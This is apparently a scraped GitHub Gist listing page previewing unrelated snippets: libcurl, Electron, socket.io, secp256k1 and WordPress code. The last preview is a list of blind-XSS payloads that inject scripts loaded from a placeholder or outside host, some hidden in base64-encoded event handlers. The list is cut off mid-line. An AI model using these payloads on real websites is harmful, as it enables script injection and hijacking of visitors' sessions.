Skip to content

Instantly share code, notes, and snippets.

View atmoner's full-sized avatar
🔥
On fire

ɐʇɯon3ɹ atmoner

🔥
On fire
View GitHub Profile
@Marlinc
Marlinc / .gitignore
Created April 9, 2012 08:21 — forked from hakre/magnet-links-bittorrent.php
Magnet links library for PHP
# Ignore backup files
*~
@whoshuu
whoshuu / curlget.cpp
Created March 31, 2015 06:44
Example libcurl GET request
#include <curl/curl.h>
#include <string>
size_t writeFunction(void *ptr, size_t size, size_t nmemb, std::string* data) {
data->append((char*) ptr, size * nmemb);
return size * nmemb;
}
int main(int argc, char** argv) {
auto curl = curl_easy_init();
@luizcarraro
luizcarraro / open-external-link.js
Created July 27, 2017 11:37
ELECTRON: Open link in external default OS browser
@luciopaiva
luciopaiva / _Full-socketio-client-and-server-example.md
Last active April 27, 2024 04:09
Full socket.io client and server example

Full socket.io client and server example

Last updated: 2021-02-21, tested with socket.io v3.1.1

This is the simplest implementation you will find for a client/server WebSockets architecture using socket.io.

To see a full explanation, read my answer on SO here: https://stackoverflow.com/a/24232050/778272.

If you're looking for examples using frameworks, check these links:

@max-mapper
max-mapper / index.js
Created May 17, 2019 18:30
secp256k1 encrypt/decrypt with bip32 keys
var KeyEncoder = require('key-encoder')
var VirgilCrypto = require('virgil-crypto').VirgilCrypto
var HDKey = require('hdkey')
const secp256k1 = require('secp256k1')
var keyEncoder = new KeyEncoder('secp256k1')
var hdKey = HDKey.fromMasterSeed(Buffer.from(SEED, 'hex'))
var childKey = hdKey.derive(PATH)
<?php
/**
* Generated by the WordPress Option Page generator
* at http://jeremyhixon.com/wp-tools/option-page/
*/
class MyExamplePlugin {
private $my_example_plugin_options;
'"><script src=https://changeme></script>
'"><script/src=//changeme>
<math><mtext><table><mglyph><style><!--</style><img title="--&gt;&lt;script/src=//changeme&gt;">
<math><mtext><table><mglyph><style><!--</style><img title="--&gt;&lt;/mglyph&gt;&lt;img&Tab;src=1&Tab;onerror=document.location=`//changeme/xss`&gt;">
<math><mtext><table><mglyph><style><![CDATA[</style><img title="]]&gt;&lt;/mglyph&gt;&lt;img&Tab;src=1&Tab;onerror=document.location=`//changeme/xss`&gt;">
javascript:eval('var a=document.createElement(\'script\');a.src=\'https://changeme\';document.body.appendChild(a)')
"><input onfocus=eval(atob(this.id)) id=dmFyIGE9ZG9jdW1lbnQuY3JlYXRlRWxlbWVudCgic2NyaXB0Iik7YS5zcmM9Ii8vbTMubGMiO2RvY3VtZW50LmJvZHkuYXBwZW5kQ2hpbGQoYSk7 autofocus>
"><img src=x id=dmFyIGE9ZG9jdW1lbnQuY3JlYXRlRWxlbWVudCgic2NyaXB0Iik7YS5zcmM9Ii8vbTMubGMiO2RvY3VtZW50LmJvZHkuYXBwZW5kQ2hpbGQoYSk7 onerror=eval(atob(this.id))>
"><video><source onerror=eval(atob(this.id)) id=dmFyIGE9ZG9jdW1lbnQuY3JlYXRlRWxlbWVudCgic2NyaXB0Iik7YS5zcmM9Ii8vb